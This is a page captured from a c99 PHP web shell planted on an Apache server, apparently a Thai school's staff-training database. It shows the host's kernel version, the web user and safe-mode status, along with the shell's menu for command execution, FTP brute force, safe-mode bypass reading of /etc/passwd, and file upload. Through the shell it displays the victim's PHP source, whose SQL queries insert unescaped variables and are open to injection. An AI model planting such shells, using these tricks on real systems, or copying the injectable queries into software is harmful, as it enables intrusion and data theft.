!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TrainingByYear.php (13.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
    
/**  Chart  */
    
include ("../includes/charts.php");
    
    
/**  Create Database Object  */
    
$dbObj = new DBConn;
        
    
/**  Config Table for This Page  */
    
$myTable "training_tb";
    
$myTableFK "Training_code";
    
    
$query " SELECT *  FROM $myTable   WHERE   Teacher_code='$Teacher_code'    GROUP BY  Year_std  ORDER By Year_std desc ";
    
$result $dbObj->execQuery($query);
    
$numrows $dbObj->_numrows
    
    

    
$param ""
        } 
# else
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title><?=$_Config_sitename;?> - ข้อมูลการพัฒนาบุคลากร - ฐานข้อมูลพัฒนาบุคลากร จำแนกรายปีงบประมาณ</title>
<script type="text/javascript" src="../js/utilities.js"></script>
<script language="Javascript" src="../charts/charts.js"></script>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="215" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="788" height="300" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset><table width="770" border="0" cellspacing="0" cellpadding="0">
     <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;<?=$param;?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif"><span class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong> &raquo;<a href="GrapTrainingYear.php?Teacher_code=<?=$Teacher_code;?>&amp;Year_std=<?=$rss1->Budget_year;?>">แผนภูมิการพัฒนาบุคลากร</a> &raquo; <span class="NOTE">ข้อมูลพัฒนาบุคลากร จำแนกรายปีงบประมาณ</span></strong></span></td>
        </tr>
      <tr>
        <td align="right">&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><?php
                    $animateChart 
"1";
                
                    
//$strXML will be used to store the entire XML document generated
                    //Generate the chart element
                    
$strXML "<chart caption='แผนภูมิแสดงการพัฒนาบุคลากร' subCaption=' จำแนกรายปีงบประมาณ' pieSliceDepth='25' showBorder='1' formatNumberScale='0' numberSuffix='  วัน' animation=' " $animateChart "'>";
                
                    
// Fetch all factory records
                    
$strQuery111 " SELECT *  FROM  $myTable  WHERE  Teacher_code='$Teacher_code'  GROUP BY  Year_std ";    
                    
$result111 $dbObj->execQuery($strQuery111);
                
                    
//Iterate through each factory
                    
if( $result111 ) {
                        while( 
$rs111 $dbObj->fetchArray($result111) ) {
                            
$Year $rs111['Year_std'];
                                   
                            
$sql3 " SELECT SUM(Day) AS Day  FROM  $myTable  WHERE   Teacher_code='$rs111[Teacher_code]'    AND Year_std='$rs111[Year_std]' ";
                            
$result3 $dbObj->execQuery($sql3);
                             
$rs3 $dbObj->fetchArray($result3);
                              
$strXML .= "<set label='ปี " $Year "' value='" .$rs3['Day'] . "' />";
                         
                        
                        } 
# while
                    
# if
                    
$dbObj->freeresult($result111);
                
                    
//Finally, close <chart> element
                    
$strXML .= "</chart>";
                
                    
//Create the chart - Pie 3D or Column3D Chart with data from strXML
                    
echo renderChart("../charts/Column3D.swf"""$strXML""750375falsefalse);
              
?></td>
      </tr>
      <tr>
        <td align="right">&nbsp;</td>
      </tr>
      <tr>
        <td align="center" valign="top"><table width="96%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
              <tr bgcolor="#F8F8F8">
                <td width="11%" height="22" align="left" bordercolor="#999966" bgcolor="#F8F8F8" class="PADDING-LEFT-10">ปีงบประมาณ</td>
                <td width="11%" bordercolor="#999966" align="center">จำนวนวันที่<br />ขอไปราชการ</td>
                <td width="10%" bordercolor="#999966" align="center">จำนวนวันที่<br />ขอไปพัฒนา</td>
                <td width="17%" bordercolor="#999966" align="center">จำนวนเงินที่ <br />ใช้ในการพัฒนา<br />
                   (งปม)</td>
                <td width="14%" bordercolor="#999966" align="center">จำนวนเงินที่<br />ใช้ตามแผน</td>
                <td width="13%" bordercolor="#999966" align="center">จำนวนเงินที่<br /> (จ่ายเอง)</td>
                <td width="12%" bordercolor="#999966" align="center">จำนวนเงินที่ <br />ใช้ในการพัฒนา<br />
   (รายได้)</td>
                <td width="12%" bordercolor="#999966" align="center">จำนวนเงินที่ <br />ใช้ในการพัฒนา<br />
(หน่วยงานผู้จัด)</td>
              </tr>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
                         
$Year_std $rs['Year_std'];
              
?>
              
             <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
               <td height="20" align="left" bgcolor="#FFFFFF" ><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /><?=$rs['Year_std'];?></a></td>
               <td align="center" bgcolor="#FFFFFF" class="PADDING-LEFT-5 PADDING-RIGHT-30" ><?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Day) AS Day  FROM  formaoffice  WHERE   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]' ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
number_format($rs6['Day']) ;
            
?>
                 </a></td>
               <td align="center" bgcolor="#FFFFFF" class="PADDING-LEFT-5 PADDING-RIGHT-30" ><?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Day) AS Day  FROM  $myTable   WHERE   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]' ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
number_format($rs6['Day']) ;
            
?>
                 </a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-30" ><?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  $myTable  WHERE   Sources ='เงินงบประมาณ'  and   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]'     ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo  
number_format($rs6['Sum'],2,'.',',') ;
            
?>
                 </a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" ><?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  formaoffice  WHERE   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]' ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
number_format($rs6['Sum'],2,'.',',');
            
?> 
                 </a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" ><?php
                
//###  SUM  Sum1
                
$query " SELECT SUM(Budget_user ) AS Sum  FROM  $myTable  WHERE   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]' ";
                
$result5 $dbObj->execQuery($query);
                
$rs5 $dbObj->fetchArray($result5);
                
$dbObj->freeresult($rs5);
                    echo  
number_format($rs5['Sum'],2,'.',',') ;
            
?> </td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum1  FROM  $myTable  WHERE   Sources ='เงินรายได้'  and   Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]'     ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo  
number_format($rs6['Sum1'],2,'.',',') ;
            
?>
               </td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" >
                 <?php
                
//###  SUM  Sum1
                
$query " SELECT SUM(Budget_use ) AS Sum2  FROM  $myTable  WHERE      Teacher_code='$rs[Teacher_code]'    AND Year_std='$rs[Year_std]'   and  Sources ='หน่วยงานผู้จัด'    ";
                
$result7 $dbObj->execQuery($query);
                
$rs7 $dbObj->fetchArray($result7);
                
$dbObj->freeresult($rs7);
                    echo  
number_format($rs7['Sum2'],2,'.',',') ;
            
?>
             </td>
                 <?php
                    $no
++;
                } 
# while
              
?>
             </tr>
             <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
               <td height="20" align="center" bgcolor="#FFFFFF" >สรุปยอดรวม</td>
               <td align="center" bgcolor="#FFFFFF" class="PADDING-LEFT-5 PADDING-RIGHT-30">
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Day) AS Day  FROM  formaoffice  WHERE   Teacher_code='$Teacher_code'     ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Day']) ."</strong>";
            
?></a></td>
               <td align="center" bgcolor="#FFFFFF" class="PADDING-LEFT-5 PADDING-RIGHT-30" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Day) AS Day  FROM  $myTable   WHERE   Teacher_code='$Teacher_code'   ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Day']) ."</strong>";
            
?></a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-30" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  $myTable  WHERE  Sources ='เงินงบประมาณ'  and  Teacher_code='$Teacher_code'   ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Sum'],2,'.',',') ."</strong>";
            
?>
                 </a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  formaoffice  WHERE   Teacher_code='$Teacher_code'   ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Sum'],2,'.',',') ."</strong>";
            
?>
                 </a></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" ><?php
                
//###  SUM  Sum1
                
$query " SELECT SUM(Budget_user ) AS Sum  FROM  $myTable  WHERE   Teacher_code='$Teacher_code'    ";
                
$result5 $dbObj->execQuery($query);
                
$rs5 $dbObj->fetchArray($result5);
                
$dbObj->freeresult($rs5);
                    echo 
"<strong>"number_format($rs5['Sum'],2,'.',',') ."</strong>";
            
?></td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  $myTable  WHERE  Sources ='เงินรายได้'  and  Teacher_code='$Teacher_code'   ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Sum'],2,'.',',') ."</strong>";
            
?>
              </td>
               <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-15" >
                 <?php
                
//###  SUM  Sum1
                
$query6 " SELECT SUM(Budget_use ) AS Sum  FROM  $myTable  WHERE  Sources ='หน่วยงานผู้จัด'  and  Teacher_code='$Teacher_code'   ";
                
$result6 $dbObj->execQuery($query6);
                
$rs6 $dbObj->fetchArray($result6);
                
$dbObj->freeresult($rs6);
                    echo 
"<strong>"number_format($rs6['Sum'],2,'.',',') ."</strong>";
            
?>
             </td>
             </tr>
              
              <tr>
                <td height="25" colspan="8" align="center" bgcolor="#FFFFFF">ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> ปี</td>
              </tr>
          </table>
        <table width="750" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td align="center"></td>
            </tr>
          </table>
       </td>
      </tr></form>
    </table>
    </fieldset></td>
  </tr>
</table>
<?php include( "../templates/incFooter.php" ); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);

    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0771 ]--